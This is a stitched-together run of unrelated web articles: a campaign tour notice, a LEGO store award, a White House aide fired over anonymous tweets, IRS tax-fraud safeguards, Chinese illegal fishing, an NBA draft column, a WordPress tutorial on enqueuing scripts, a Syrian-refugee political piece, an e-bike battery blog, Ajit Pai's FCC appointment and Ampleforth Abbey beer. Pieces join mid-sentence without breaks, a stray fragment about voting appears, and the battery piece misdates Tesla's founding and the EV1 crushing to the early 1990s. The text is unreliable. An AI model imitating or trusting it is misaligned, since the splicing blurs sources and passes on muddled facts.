We are continuing our 100-city Silenced Majority 2012 tour at noon in Silver City, New Mexico, at the Besse-Forward Global Resource Center at Western New Mexico University, then on to Bisbee, Arizona tonight, Friday, at the Bisbee Royale at 7:00. On Saturday, we’ll be in Tucson, Arizona, at 1:00, Fox Tucson Theatre, and in the evening in Phoenix.I’ve just gotten news that my local LEGO Store in Fashion Valley (San Diego, CA) has won the LEGO Brand Retail Store of the Year for 2013! LEGO takes in many factors to choose the winner and the surveys we fill out after our purchases do factor into account. It isn’t a surprise that the Fashion Valley store won because the staff there is simply awesome from all the Brick Specialists and to Mike the Store Manager. I hang out there a lot (more often than I should) and I’ve seen first-hand of how the employees take care of their customers from answering questions customers may have to a simple thing like the check out process. If you have a chance to go to this store in Fashion Valley, show your support by congratulating the staff there. They do great work and they truly deserve the award!
Here’s Genevieve holding the trophy. Here’s KJ, Michael, and Mario with the award. Here’s a young customer and KJ intensely monitoring the store.Fired White House Aide Admits He Was Twitter Troll
Enlarge this image Saul Loeb /AFP/Getty Images Saul Loeb /AFP/Getty Images
A top White House national security aide who was secretly going on Twitter to insult other Obama administration officials and politicians from both major parties, and to question the policies he had been helping develop, is apologizing.
Jofi Joseph is also out of a job.
The Daily Beast broke the news Tuesday night that Joseph was @natsecwonk, a "mystery Tweeter who has been tormenting the foreign policy community with insulting comments and revealing internal Obama administration information for over two years." It reported that:
"During his time tweeting under the @natsecwonk name, Joseph openly criticized the policies of his White House bosses and often insulted their intellect and appearance. At different times, he insulted or criticized several top White House and State Department officials, including former National Security Advisor Tom Donilon, Deputy National Security Advisor Ben Rhodes, Secretary of State John Kerry, and many many others."
Politico followed with word that "Joseph, 40, was fired from his job on the NSC nuclear non-proliferation team a week ago after a months-long probe into a barrage of tweets that included caustic criticisms of former Secretary of State Hillary Clinton and top NSC officials, especially Ben Rhodes — whom he accused of dodging questions about Benghazi."
In an email, Joseph told Politico that:
"What started out as an intended parody account of DC culture developed over time into a series of inappropriate and mean-spirited comments. I bear complete responsibility for this affair and I sincerely apologize to everyone I insulted."
Politico adds that "officials also told Joseph they suspected he was responsible for a second anonymous Twitter account '@DChobbyist' which included racier tweets about sexual encounters, escort services — and the inner workings of the State Department.... Joseph didn't respond to a request for comment on the second account."
The @natsecwonk account disappeared from Twitter last week, but many of its tweets have been saved here. According to The Washington Post, @natsecwonk's tweets " never included classified or highly sensitive information, making a true leak investigation difficult to mount, but they often contained insider details."
@DCHobbyist's tweets are protected.The Internal Revenue Service and private tax preparers say they are beefing up efforts to limit tax-related identity theft for the 2016 filing season, testing more than 20 new safeguards to protect taxpayers’ sensitive information.
The IRS, state tax authorities and tax preparation companies will begin sharing details about suspicious tax returns as they are filed, enabling tax authorities to adjust their fraud filters and catch suspicious returns more quickly. Tax preparers also agreed to roll out stricter login requirements to better protect taxpayer data.
The new safeguards mark the latest effort in a new information-sharing strategy among the IRS, state tax authorities and the private tax preparation industry to halt a surge in tax refund fraud. So far, 34 states and 20 tax preparation companies have signed on, but more are expected to enroll later.
“We have never had this level of cooperation or sharing,” IRS Commissioner John Koskinen said at a briefing Tuesday. “We will collect [information] in real time, and we will pull it together and share it back out so everyone has access to that information.”
[Why criminals are after your tax returns and what you can do about it]
Tax authorities and software providers have come up with a list of 20 data points about tax returns that could be shared to help the IRS and state tax agencies verify tax returns and spot fraud.
While declining to go into specifics, Koskinen said the kind of information that would be shared includes whether a return was submitted from a location or device where multiple tax returns were filed. The groups will also look at how long it takes to file and prepare tax forms to spot returns that may have been mechanically generated, he said.
[IRS has not done everything it can to protect its computer networks from hackers, watchdog says]
Tax preparation firms also agreed to stricter login and validation requirements that can cut down on incidents of criminals taking over taxpayers’ accounts to steal personal information. For instance, software companies agreed to add three security questions and to require more secure passwords that are at least eight characters long, including upper case and lower case letters, numbers and special characters.
Software companies agreed to let customers know when a change has been made to their account or if a second tax return has been filed using their Social Security number.
But the new efforts won’t address one issue that came up earlier this year: Tax preparation companies are not required to shut down accounts that appear to be used primarily for filing fraudulent tax returns. It will still fall on the IRS and state tax authorities, however, to accept or reject a return.
[Is the IRS doing enough to protect taxpayer data?]
Consumer advocates and security experts say software providers could take more steps to verify the identity of the people using their software to file returns.
“The government should never forget they have massive leverage over companies that depend on their unique relationships with the government to make money,” says Ed Mierzwinski, consumer program director at the U.S. Public Interest Research Group.
Identity theft has been a major theme for the agency and tax preparers this year following a spike in suspicious tax filings and an attack from hackers who stole personal information of hundreds of thousands of taxpayers. The IRS is also coping with a surge in phone-related scams from fraudsters pretending to be from the agency to intimidate taxpayers into making payments or giving up personal information.
Koskinen said the new safeguards will be as “non-burdensome as possible” for tax preparers and require “relatively incremental steps” for taxpayers.
“Filing season is going to be much more secure than in the past,” he said.
Read more:
Who’s to blame when fraudsters use TurboTax to steal refunds?
IRS says breach of taxpayer data far worse than it first thoughtIt’s not just the South China Sea — Chinese fishing vessels have been accused of illegal activities all over the world.
The Indonesian Navy intercepted a Chinese vessel that was caught illegally fishing in Indonesian territory off the Natuna Islands on Saturday, June 18. Indonesian Navy spokesman First Admiral Edi Sucipto said the seven crew members of the Chinese vessel were detained. This is the third incident in the Natuna Islands involving Chinese vessels.
A statement from the Chinese Foreign Ministry confirmed that the Indonesian navy had fired warning shots at a Chinese vessel, injuring one Chinese fisherman and damaging the boat. However, China emphasized that the waters in question are regarded as “China’s traditional fishing grounds,” and accused Indonesia of an “abused of force.”
For its part, Indonesia has said it will continue to take “decisive” action against foreign ships operating illegally in its waters after the comments from Beijing. “We will not hesitate to take decisive action against foreign ships, whatever their flag and nationality, when they commit violations in Indonesian territory,” Sucipto said.
This is not the first time China has infringed on a foreign exclusive economic zone (EEZ). Chinese fishing vessels have in recent years made some very audacious incursion into foreign EEZs. In part, this has been due to the Chinese government asserting its ambiguous nine-dash line claim in the South China Sea. But incursions have also happened farther afield too.
In May, South Africa detained three Chinese ships and approximately 100 crew members on suspicion of illegal squid fishing in its EEZ without permits. The three vessels — Fu Yuan Yu 7880, Fu Yang Yu 7881, and Run Da 617 — had a combined total of almost 600 tonnes of squid when the navy escorted them to shore, according to Reuters.
“We cannot tolerate the plundering of our marine resources, which are a source of food security,” Agriculture and Fisheries Minister Senzeni Zokwana said in a statement. “We are also looking into the sudden influx of these vessels in our waters.”
The three vessels, part of a fleet of six 55-meter ocean-going fishing vessels officially registered in Fuzhou, have been caught red handed in foreign waters without licenses before. In January, the NGO Sea Shepherd encountered the fleet in the Indian Ocean, west of Perth in Western Australia. These vessels, as logged and reported by Sea Shepherd, were using driftnets, which have been banned by the UN since 1992 and are known to kill marine life indiscriminately. The Sea Shepherd gave pursuit and followed the fleet for two months into the South China Sea. On March 23, just north of the disputed Spratly Islands, Fu Yuan Yu 076 requested protection from a patrolling Chinese warship.
“We were called by Chinese Naval warship 571 and asked to explain our activities,” says Captain of the Steve Irwin, Siddharth Chakravarty. Surprisingly, the PLA Navy allowed the Steve Irwin to continue its pursuit.
In March, Argentina’s coast guard sank a Chinese trawler illegally fishing in Argentinian waters after the Chinese vessel attempted to ram the coast guard boat. Earlier this month, South Korea and the UN Command in Korea began a joint operation specifically targeting Chinese fishing vessels operating illegally off the west coast of South Korea. Tensions have been high since the 2011 murder of a South Korean coast guard officer by the Chinese crew of an illegal fishing vessel.
China is, by far, the world’s largest “producer” of fish. The term “producer” reflects the reported number of tonnes of marine fish captured. In the Food and Agriculture Organization of the United Nations’ 2014 “World Review of Fisheries and Aquaculture,” China recorded 13.9 million tonnes of marine fish; its closest competitor was Indonesia at 5.4 million tonnes. It is unclear if illegal hauls are included in these figures. Globally, illegal fishing costs the global industry around $23 billion each year.
In his 2005 book China and International Fisheries Law and Policy, Xue Guifang said three factors contribute to low compliance with international fishing agreements by Chinese fishermen. Many do not comprehend the changes to fishing waters stipulated in these agreements, meaning fishermen are now restricted from areas where they were previously able to fish without hassle. Another factor might be the poor technology many of the fishing boats carry, which do not properly identify their exact coordinates. However, the vast majority of infractions are driven by the economic incentives for illegally entering extraterritorial seas. Lastly, Xue says Chinese fisheries officials fall far short in the experience, capability, and determination needed to police foreign EEZ regimes.
Gary Stokes, director of Sea Shepherd Southeast Asia, is looking at the situation optimistically. Stokes told the South China Morning Post that there is a need to take a soft approach with China. In recent years, the Chinese government has appeared to be more proactive in the policing of illegal fishing. “Maybe China is taking this issue seriously, or at least they are following the law, which in itself is encouraging,” said Stokes.Throughout the NCAA season, much of the focus has been on Duke forward Jahlil Okafor and Kentucky big man Karl-Anthony Towns. The two freshmen dominated draft talk for months, with Okafor's brilliant offensive game and Towns' defensive potential making them the two most intriguing prospects in field.
Until Justise Winslow stole the spotlight, that is.
Duke's freshman wing was arguably the most impressive player of the NCAA Tournament, and definitely one of the most productive. Winslow did a bit of everything for Duke, notching double-doubles against San Diego State and against Utah, dropping 19 points and 9 rebounds versus Michigan State, and tallying 11 points, 9 rebounds, 3 blocks, and a steal in the title game against Wisconsin.
Winslow opened a lot of eyes during the Tournament, and perhaps no player did more to raise his Draft stock. Winslow jumped from the 10-15 range to possibly the top five, and there are some analysts wondering if he's a better prospect than Okafor, his highly touted teammate. The Orlando Magic, currently with the fifth-highest Lottery odds, are right in that range, and they have to realize that Winslow would be an ideal fit.
Winslow's defensive versatility is remarkable. While only 6-foot-6, he's strong and very athletic, granting him the ability to guard bigger players with ease. He's a ferocious on-ball defender and a willing helper, and he plays with a ton of effort and hustle. Those skills, coupled with his athleticism, leads to spectacular plays like this one.
While he's known for his defense, Winslow is hardly a slouch on the other end of the court. He's an absolute beast in transition, and while his outside shooting didn't really stand out much this season, he has solid form, and many experts expect him to develop into a plus shooter. He's also a deft and willing passer, and he doesn't need the ball in his hands to be effective. If his jumper develops as hoped, he could grow into a deadly, versatile offensive player: a strong, athletic wing who can shoot, pass, and fearlessly attack the rim.
The best thing about Winslow; he may actually be available when the Magic pick. Look, Towns is the best prospect in the draft, and he'd be the pick if the Magic somehow landed in the top selection. But there's less than a 10 percent of that happening. Winslow, on the other hand, could hang around for a bit despite gaining so much momentum. Towns and Okafor are going 1-2, teams like the Los Angeles Lakers and the Philadelphia 76ers love Emmanuel Mudiay, and D'Angelo Russell seems like a lock for the top five. Winslow, at least for now, looks like he may be available in the 4-7 range, which is where the Magic will likely be picking. Nabbing him would give the Magic a shot at a true impact player without having to sacrifice assets to move up.
Winslow can become a dynamic '3 and D' player in the mold of Jimmy Butler or Kawhi Leonard.
As the NBA becomes more and more perimeter-oriented, shooting, spacing and wing defense are more valuable than ever. Winslow can provide all three. He can become a dynamic '3 and D' player in the mold of Jimmy Butler or Kawhi Leonard. Players like that are the darling of the NBA right now, and Winslow could be next in line. He's a well-rounded stud who can score from the perimeter, attack the basket, lock down opposing wings, and dominate in transition.
The Magic's roster, while talented, is full of holes. There isn't one missing piece, and one player isn't going to immediately turn them into a contender. At this point, they should take the best player available, and once Towns is off the board, Winslow may be that guy. His defensive skill, versatility and motor give him a higher floor than a lot of other prospects, and if his shooting keeps improving, the sky's the limit. He'd give the Magic a much-needed dose of shooting and improve the offense's spacing, and the trio of Winslow, Elfrid Payton and Victor Oladipo could be suberb defensively. Winslow could very easily be a key player on a contending team, sooner rather than later. The Magic need guys like that.One of the most important things about WordPress is also one of the more initially confusing parts: how exactly do I add my own JavaScript files and CSS sheets in “the WordPress way”? The WordPress way of adding stylesheets and script files has a number of advantages, but it’s also a bit complicated and confusing at first glance. And that’s the reason we’ll cover it today.
What You Shouldn’t Do & Why You Shouldn’t
If you’ve ever made either a small JavaScript file or a stylesheet, you probably know how to add to a page in the HTML way. It typically looks something like this:
<link rel="stylesheet" media="screen" href="https://wpshout.com/wp-content/themes/wpshout-pu/style.css" /> <script type="text/javascript' src='https://wpshout.com/wp-content/themes/wpshout-pu/script.js"></script>
If you’re distributing a plugin or theme, you’re not making it all that possible — let alone easy — for someone else to change the way that your JavaScript or CSS loads.
These may be in the header of your document. In the case of the <script> tag, it can really be just about anywhere on your page. For non-WordPress work, these are typically more than good enough to get your styles and scripts available with your HTML, and you’re all set with a simple thing like that. But if you remember, I said this isn’t how you should do it with WordPress. Why? Great question.
First and foremost, if you’re not making a theme, you actually don’t really have the ability to easily touch raw HTML that will certainly be shown on a page at all. It just isn’t something that’s native to a WordPress plugin. And when you’re needing to add scripts and styles, plugins are really the primary use case for most people.
More important, if you’re distributing a plugin or theme, you’re not making it all that possible — let alone easy — for someone else to change the way that your JavaScript or CSS loads. Maybe they want to load theirs before yours, or after, or maybe they want to stop yours from showing up for a specific styling or functionality reason. All of these are reasons that WordPress has a pretty robust system for adding scripts and styles that doesn’t involve the basic HTML-writing that we demonstrated above.
The Right Way To Load a Stylesheet or Script File In WordPress
So how do we do it so that other plugins or themes can take control over our scripts and styles if need be? We add them to the page the WordPress way: with wp_enqueue_script() and wp_enqueue_style(). Yep, those are PHP functions, rather than just markup, and that does mean you’ll have to do a little more with PHP. But trust me, if this is your first PHP it’s a good and simple problem to start with.
WordPress automatically takes queued-up scripts and styles and gets them on the page, manages the position of things in the queue, and listens if a new entrant in the queue has a special priority request.
As you may have been able to guess from their similarity in naming, both of these functions do quite a similar thing. Before we dive into the PHP, here’s a quick summary of what each function does. Essentially, in a typical HTML page you’ll have a block of stylesheets registered and listed, and then the same for your JavaScripts. This is essentially the “queues” that these functions are talking about. They’re that big block of.css or.js files that should come out on a WordPress page.
WordPress automatically takes care of the process of taking all those queued up scripts and styles and gets them on the page. And it also manages the position of things in the queue, and listens if a new entrant in the queue has a special priority request. (And finally, though we won’t do it here, because there’s a queue, this also provides an ability for other actors to make changes to the queue before the scripts go out to the page. If we were adding our files with pure HTML, that wouldn’t be possible at all.)
So a very simple example of how you’d load a new CSS and JS file for a plugin looks something like this (in your WordPress theme’s functions.php ):
function wpshout_script_and_style_includer() { wp_enqueue_script( 'our-js', plugins_url( '/path/to/file.js', __FILE__ ) ); wp_enqueue_style( 'our-css', plugins_url( '/path/to/file.css', __FILE__ ) ); } add_action( 'wp_enqueue_scripts', 'wpshout_script_and_style_includer' );
We’ll mostly leave aside the add_action() which is what is actually invoking our function. If you’re not already familiar with how actions work in WordPress, or could just use a refresher, you should check out an old article of mine on the topic. The executive summary is as follows: when WordPress hits the place in the page-creation flow where it wants to know about all the scripts and styles it should have — that’s the wp_enqueue_scripts “benchmark” — our function will get invited to the “naming of scripts” party and get to contribute the CSS and JS files that we want to have put on the page.
Both of these function have a similar method signature for their first parameters. The first thing you specify is the “handle”, or short name by which this script is called. This seems kind of superfluous at first, but if you’re ever troubleshooting dependency issues or something, it’s pretty valuable that WordPress has these around.
The second argument is just the absolute URL of the script in question. In the case of my snippet, our scripts are in our plugin’s directory structure, so we declared them using the WordPress plugins_url() helper function. If you have the file hosted in the theme, or hosted elsewhere on internet, you’d just change that parameter to give the working full URL. And if we’ve done everything right, those four lines will be enough to make that happen for us. Pretty simple really.
Some of the Finer Points of wp_enqueue_*
There’s much more we can cover on the topic of including scripts and styles. You’ll see a variety of methods, means, and variations if you spend much time around WordPress themes and plugins. In this section, I’ll try to quickly summarize some of the more interesting facets of what I’ve learned.
Declaring Dependencies
If your JavaScript relies on jQuery — so common it’s the example we’ll go with — you’ll help yourself a lot if (1) you let WordPress take care of getting jQuery in place for you, and (2) you do this by telling WordPress you need jQuery. (Don’t forget that you’ve got to be a bit more careful with your $s when using WordPress’s jQuery.) It’s a pretty painless process, though I sometimes find myself needing to look at Codex to confirm the syntax:
wp_enqueue_script( 'our-js', 'path/to/file.js', array('jquery') );
That third parameter, the array with the word 'jquery' in it, tells WordPress that our JavaScript needs jQuery loaded, and that we want to only show up after jQuery is there. WordPress will take care of the ordering for you if you’ve got all your dependencies declared. (jQuery is one of a number dependencies WordPress makes available for you to use without any setup. You can find the whole list best on the Codex.)
While dependency and ordering issues are less common in my experience with CSS, you still see them sometimes. And there too WordPress has provided for you. It’s exactly the same syntax and exactly the same dynamics. You make an array of your dependencies — the things you need to exist before you appear — with their short-name and WordPress takes care of the rest. Used well, this lets you avoid some of the more painful specificity olympics—or, worse,!important contests—you’d otherwise play.
Registration Before Enqueuing
The primary reason that people do this is that it makes your dependencies easy: you don’t have to worry about your ordering and WordPress will auto-enqueue previously register ed necessary scripts you declare as dependencies.
One thing that’s common, and sometimes recommended, is that before you call your wp_enqueue_style (or _script ), you actually make a call to wp_register_style (or _script ). The primary reason that people do this is that it makes your dependencies easy: you don’t have to worry about your ordering and WordPress will auto-enqueue previously register ed necessary scripts you declare as dependencies. It also has the advantage that once registered, a script can be enqueued separately (somewhere totally disconnected in your code) with a simple reference to that short handle you used when you registered.
Admin-Only Scripts and Styles
Another thing you may want to do is make it so that your scripts or styles are included only in the admin area. You don’t use different functions than what we’ve been talking about, you simply use a different action hook. In this case, you’d want to use the admin_enqueue_scripts hook, rather than the more universal wp_enqueue_scripts we were using in the example.
Force JavaScript into the Footer of Your Page
It’s commonly recommended that you delay JavaScript loading as much as possible to improve initial page load speed. WordPress doesn’t yet have native support for deferring your scripts so that they’re explicitly known by browser as meant to load asynchronously (though there are ways…), but you can easily tell WordPress that you want to load a JavaScript file in the footer, rather than in the header. You do this with the fifth parameter of your wp_enqueue_script() function. Like so:
wp_enqueue_script( 'our-js', 'path/to/file.js', array('jquery'), false, true );
What We’ve Learn About Scripts and Styles in WordPress
There’s a lot more to this topic. You can spend a lot of time playing and changing specific ways in which yours or other plugins get to load their stylesheets and JavaScript files. We’ve done a lot more than scratch the surface, but the finest of fine points of this topic are left as an exercise to the reader. Hopefully you’ve learned more than a thing or two, and happy hacking!
Image credit: StartBloggingOnline.comA video excerpt from an October 21st House Homeland Security Committee hearing reveals exactly why Texas Congressman Lamar Smith (R-TX) is calling for “a screeching halt” to Syrian resettlement in the country. He and Congressman Ted Poe (R-TX) are sponsoring a bill which would give governors the ability to protect their states by refusing to accept Syrian refugees.
During the hearing on “Worldwide Threats and Homeland Security Challenges,” Rep. Smith asked FBI Director James B. Comey, U.S. Department of Homeland Security (DHS) Secretary Jeh Johnson, and Nicholas J. Rasmussen, Director of the National Counterterrorism Center, about the security risk that Syrian refugees pose to Americans. This was of course before the terrorist attacks upon Paris, France, on November 13. Rep. Smith has released the following 3-minute video highlighting their exchange:
Smith who represents Texas’ 21st congressional district, voiced his grave concerns during the hearing that the federal government has no ability to adequately screen Syrians and others who want to come into our country.
As can be seen from the video, these federal administration leaders did nothing to dispel the Texas congressman’s concerns.
Smith asked the federal directors whether terrorists would be likely to use available federal programs to gain access to this country in order to commit terrorist acts.
The Director of the National Counterterrorism Center answered, “We have certainly seen terrorist groups talk about, think about, exactly what you are describing, Mr. Smith. Trying to use available programs to get people not only into the United States, but into western European countries as well. So we know that they aspire to do that.” He said he did not know if he could say that they would likely succeed.
Smith asked about the vetting process and noted that terrorist organizations would most likely have individuals come into the country who have not yet committed a crime or had “a public background,” or committed a terrorist act.
DHS Secretary Johnson answered the vetting question by saying that every alleged refugee is interviewed, and that they complete an application. Smith responded saying that you are then essentially relying upon the refugee who is filling out the application, and “you can’t go beyond that, so you are sorta having to take their word for it.”
During the hearing, Rep. Smith said another “red flag” was that the profile of these Syrian refugees does not meet the profile of the typical refugee family. He said these Syrian refugees are “young, single, males, as opposed to family members.”
DHS Secretary Johnson skirted Rep. Smith’s question by saying these men are embraced by people in their community. Johnson continued that he had seen the communities firsthand and “they tend to settle into communities that are very … that embrace them, that are very supportive,” and added these communities tend to be a “pretty tight-knit, supportive, community.”
Smith responded, “As I say, both the profile and the motive of terrorist organizations, and your admission that there is some risk involved, to me would persuade the administration to go slow, rather than fast, when it comes to admitting individuals who might do us harm.”
Smith added that both FBI Director Comey and Homeland Security Secretary Johnson admitted they do not currently have the ability to properly screen and conduct sufficient background checks on these refugees.
In a House Judiciary Committee hearing later the same week, Director Comey admitted that determining which refugees could pose a threat would be “challenging.”
In a statement obtained by Breitbart Texas, the Texas congressional representative said, “Yet the president continues to insist we bring Syrian refugees to the United States.” He added, “We know that at least one of the ISIS attackers immigrated to France in recent weeks as part of their refugee program.” The terrorist group has also said it will try to infiltrate the U.S. using the refugee program.
Smith concluded, “At a time when we are on high alert, all plans for relocating Syrian refugees should come to a screeching halt. We should not allow Syrian refugees into our country until this administration can guarantee that they pose no danger to the American people.”
On Tuesday, Rep. Smith joined as a cosponsor, Texas Congressman Ted Poe, in a bill which would give governors the ability to protect their states by refusing to accept Syrian refugees. The bill, H.R.4032, is entitled “The States’ Right of Refugee Refusal Act.”
In a statement obtained by Breitbart Texas, Smith said, “We are not going to simply sit back and allow this administration to endanger American lives in the face of the attacks in Paris. Congress should defund and halt the relocation of Syrian refugees to the U.S.”
Rep. Smith told Breitbart Texas, “The president’s insistence that we move forward with his refugee plans is irresponsible, tone-deaf to the reality of security threats and out-of-touch with the American people.”
The bill will amend the Immigration and Nationality Act to ensure that States have the right to refuse to participate in the Refugee Resettlement program where a Governor chooses to opt out. At this time, the Act permits consultation with the States but it does not clearly give the States the right to refuse.
Rep. Smith said he will continue to raise concerns and highlight security issues surrounding Syrian refugee resettlement at a House Judiciary Committee hearing on Thursday.
He is also joining with several dozen other Republicans in a letter to President Obama led by Rep. Steve Stivers (R-OH) demanding that all Syrian refugee transfers be halted. The letter is still gathering support and will be sent out later this week, his office said.
Lana Shadwick is a contributing writer and legal analyst for Breitbart Texas. She has served as an associate judge and prosecutor. Follow her on Twitter @LanaShadwick2EDITOR NEWS UPDATE OCTOBER 2017: Luna Cycle has just announced their flagship ebike the Luna Apex which has 52v 28ah in a carbon case comprised of the Samsung 21700 48g 4800mah cells. This is the first Ebike to come to market with the exciting new 21700 cell.
High-capacity packs using 18650-format cells have become popular, and we will have some interesting options soon with the new 21700 cells that are just now becoming available.
Some EV battery history
Many years ago in the early 1990’s (just when GM was confiscating and crushing the existing EV1’s), the founders of the start-up called Tesla were test-driving the T-zero prototype and contemplating what a successful electric car drivetrain would look like.
I am normally skeptical about most conspiracy theories, however…I read that at that time, the most common large-format battery was the NiMH cells that were used by the Toyota Prius and the Ford EV Escape. The global oil-conglomerate Chevron-Texaco purchased a controlling interest in Cobasys, who had owned the patents on those cells. I had hoped at the time that this indicated a shift in the powerful oil-company paradigm of their recognizing that they needed to evolve, and become a big player in the EV field, instead of competing with them. Someone with “big money” was finally investing in EV’s!
Instead, their newly-found control over the large-format NiMH cells was used to severely limit their use. This forced Tesla to focus on using thousands of small 18650 lithium cells as the next best alternative. This ended up being a good thing. In spite of the extra time and effort to design and manufacture a large pack out of thousands of smaller cells…I am only recently seeing the benefits of how heat affects lithium cells (and having many small cells helps their heat-dissipation), and how individual cell-fusing means that…if one tiny cell out of thousands fries, the pack as-a-whole will continue to work safely.
Lithium-based 18650 cells (18mm diameter, 65mm long) came-to-fame as the cell of choice to power laptop computers and cordless tools. Laptop cells compete on lowest price, but…it is the cordless tool cells that compete on performance and long run-time. Those are the premium cells that ebikes need and love.
What about 26650’s?
The 26650 format already exists (26mm diameter, 65mm long), and I have occasionally read of people who wondered why Tesla (and others) didn’t just use this existing format. I honestly don’t have a solid answer, but the most likely culprit is that a fatter cell has a lower ability to shed heat that is located at its core. In fact, a 26700 cell format already exists too (26mm diameter, 70mm long)…
I recently wrote about the Lithium battery lecture by Prof. Jeff Dahn, and heat-management is one of the major factors in getting a battery to last as long as possible. Tesla has an unprecedented 8-year warranty on their packs, which is pretty amazing, so…they are doing something right (note: keep your battery cool, and charge to 4.1V per cell).
There are a lot
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of voting: None specified, but pay contingent on employee voting.Image copyright Getty Images Image caption Ajit Pai is the new chairman of the US communications regulator
President Donald Trump has chosen Ajit Pai as the new head of the US Federal Communications Commission, the government agency which regulates telecoms issues.
The appointment has raised concerns among internet rights activists that laws ensuring net neutrality are now under threat.
Net neutrality is the term given to the view that all traffic on the internet should be treated equally - rather than, for instance, internet service providers being allowed to charge more for a “fast lane” for people wanting to use data-heavy services such as Netflix.
Supporters of net neutrality - which includes Google and Facebook - believe it is vital to ensure competition among online companies.
If a fledgling video service could not afford to be in the so-called fast lane it would struggle to compete with the likes of YouTube or Vimeo, they argue.
Typically, Republican members of the FCC have voted unsuccessfully against net neutrality - under President Trump the commission will have a Republican majority.
‘Fire up the weed whacker'
Under President Obama, the laws over net neutrality were regularly debated, often provoking a strong public response.
In 2015 landmark laws were passed to protect net neutrality, a move seen as a major victory for advocates who had worried the corporate tide was pushing heavily against them.
However, Mr Pai, speaking after President Trump’s election win, said: "During the Trump administration, we will shift from playing defence at the FCC to going on [the] offence.
"We need to fire up the weed whacker and remove those rules that are holding back investment, innovation, and job creation.”
Mr Pai was already an FCC commissioner and so therefore can move directly into the role without a Senate confirmation hearing.
In the past he voted against strengthening net neutrality laws.
Craig Aaron, president of communications advocacy group Free Press, said: “Ajit Pai has been on the wrong side of just about every major issue that has come before the FCC during his tenure. He’s never met a mega-merger he didn’t like or a public safeguard he didn’t try to undermine.”
Contradicting Trump
But the appointment was welcomed on Monday by telecoms giant Verizon, Mr Pai’s former employer, as well as other internet service providers such as Comcast and AT&T.
For AT&T in particular, the move could spell extremely good news.
Mr Pai is said to be supportive of the mega-merger between AT&T and Time Warner announced last year.
This contradicts President Trump’s assurance the merger was "a deal we will not approve in my administration because it's too much concentration of power in the hands of too few”.
Time Warner is also the parent company of CNN, the network that has come in for the most criticism from President Trump.
In a statement, AT&T said: "Chairman Pai will work with his fellow commissioners to quickly and decisively put back in place the commonsense regulatory framework necessary to support the president’s agenda.”
Follow Dave Lee on Twitter @DaveLeeBBC and on FacebookAmpleforth Abbey: How monks mix God, booze and business
Monks at Ampleforth Abbey have discovered a profitable formula for their beer
Continue reading the main story Related Stories
When bottles of Ampleforth Abbey Beer went on sale in the summer of 2012, monks from Britain's largest Benedictine community in Britain found themselves in the spotlight.
The notion of a religious order brewing beer seemed quirky, if not strange to some. But the idea is actually based on hundreds of years of a proud Benedictine tradition.
Manufacturing to make ends meet is part of the Benedictine philosophy referred to in the rules of the order, or the guide followed by Christians faithful to the movement.
Restoring history
"St Benedict expects that monks will pay their own way and they will work for their money," Father Wulstan Peterburs, procurator of Ampleforth Abbey, told the BBC.
Continue reading the main story Seal of approval - The Trappist stamp Benedictine monasteries have formed an association which is composed of seven monasteries of the Cistercian Order of the Strict Observance (COSO), commonly known as Trappists and Trappistines. A beer can only be called a Trappist beer if it is brewed at a Trappist monastery under the supervision and responsibility of the monks. The Cistercian monastery of La Trappe, France - where the idea of Trappist beer originated - had a brewery in 1685. La Trappe beer is now brewed in Koningshoeven Abbey in the Netherlands. Source: The International Trappist Association
"One of the ways that monks have traditionally done it, and our community has done it, is through beer brewing."
Driven from England at the time of the Reformation and determined to survive, the Benedictine monks who later formed Ampleforth Abbey needed income. The income came from brewing the first beer of its kind - la bière anglaise - in France.
The Yorkshire-based monks see their current endeavours as a restoration of that historic practice. They are currently the only British monks brewing it, but there has been a global trend of Benedictine orders commercially making and selling beers.
That movement is best encapsulated by the Trappist tradition. Founded in 1664 in France, this is based on a strict interpretation of the principles of the Cistercian order of monks - a strict off-shoot of the Benedictine movement.
Trappist beers are brewed in monasteries, by monks.
"While the image of a Trappist brewery is that of small run, hand crafted beers made by monks toiling in the brew house, the reality is often quite different," John Clarke, of the Campaign for Real Ale (Camra) told the BBC.
"Chimay and Westmalle in Belgium, and Koningshaven in the Netherlands are quite sizeable and commercial operations albeit with the brothers very much in control to retain their Trappist accreditation."
Continue reading the main story “ Start Quote Even monks like the occasional tipple” End Quote Father Wulstan Peterburs Ampleforth Abbey
There are only eight official Trappist breweries, but a number of other monasteries have already applied for the stamp.
"Mont des Cats in Northern France and the abbey of Maria Toevlucht in the Netherlands. There has even been talk of a Trappist brewery in the USA," added Mr Clarke.
The increasing popularity of micro-breweries has seen beers produced by monks across Europe becoming a regular sight in off-licences and on supermarket shelves.
"It's a slowly growing phenomenon. The monks at Ampleforth are part of this trend," said Mr Clarke.
Belgian flavours
Trappist monks in Belgium take their brewing very seriously - six of the monasteries afforded the Trappist label are based in the country. Their beers are renowned for their flavour and quality and are exported all over the world.
The tranquil Orval Abbey, just outside Florenville in Belgium and near to the French border, is the home of one of these beers.
The Cistercian Trappist order opened their brewery in 1931 to pay for extensive reconstruction and renovation works at the monastery - and never looked back.
"In 2000 we brewed and bottled 40,000 hectolitres (about 1,056,680 gallons) of beer. In 2011 output increased to 67,000 hectolitres (about 1,770,000 gallons)," a spokesperson for Orval said.
Beers brewed by other monastic orders, or those made commercially on behalf of monasteries, must be labelled 'Abbey beers', a brand which now carries its own separate certification.
Currently the Ampleforth brew has this title, being brewed on behalf on the monastery at Little Valley Brewery, Hebden Bridge.
The monks at Ampleforth have a long way to go before they match the commercial output of their European counterparts, but the global appeal of Belgian beer shows how successful the honest labour of a simple monastic order can be.
Sales are healthy, with the monks focusing on local markets - their ciders and beers are now available in some supermarkets in the north of England.
If the success continues, the monks may begin brewing on site
Abbey Beer was named best drink of 2012 by regional food group, Deliciously Yorkshire, and the profits they are making on the back of their success are invested back into the upkeep of the monastic community.
"If we get to a level where the sales are very, very good we may look at bringing brewing to the monastery and making the beer onsite, as the Trappists do," Fr Peterburs told the BBC.
In Ampleforth, monks have been making cider on site commercially for years. Their orchard is one of the most northerly in England.
"We produce and press it on site. Monks even get involved with harvesting fruit, though we do have help. Like our beer, we also oversee trading," Fr Peterburs added.
Excessive drinking
Perhaps the most famous British Benedictine drink is Buckfast tonic wine. Made by the monks of Buckfast Abbey in Devon the drink is particularly popular in Scotland.
However at 15% ABV (alcohol percentage by volume) and relatively cheap to buy, the drink has been criticised for encouraging excessive drinking and anti-social behaviour. The tonic wine also includes caffeine.
The monks of Ampleforth are clear that while they make alcoholic drinks they do not encourage excessive drinking.
"We made a clear choice, and conducted lots of research before settling on a premium beer product," explained Fr Peterburs.
"These are small beers, they come in small bottles - to be clear that our position is not to encourage excessive drinking."
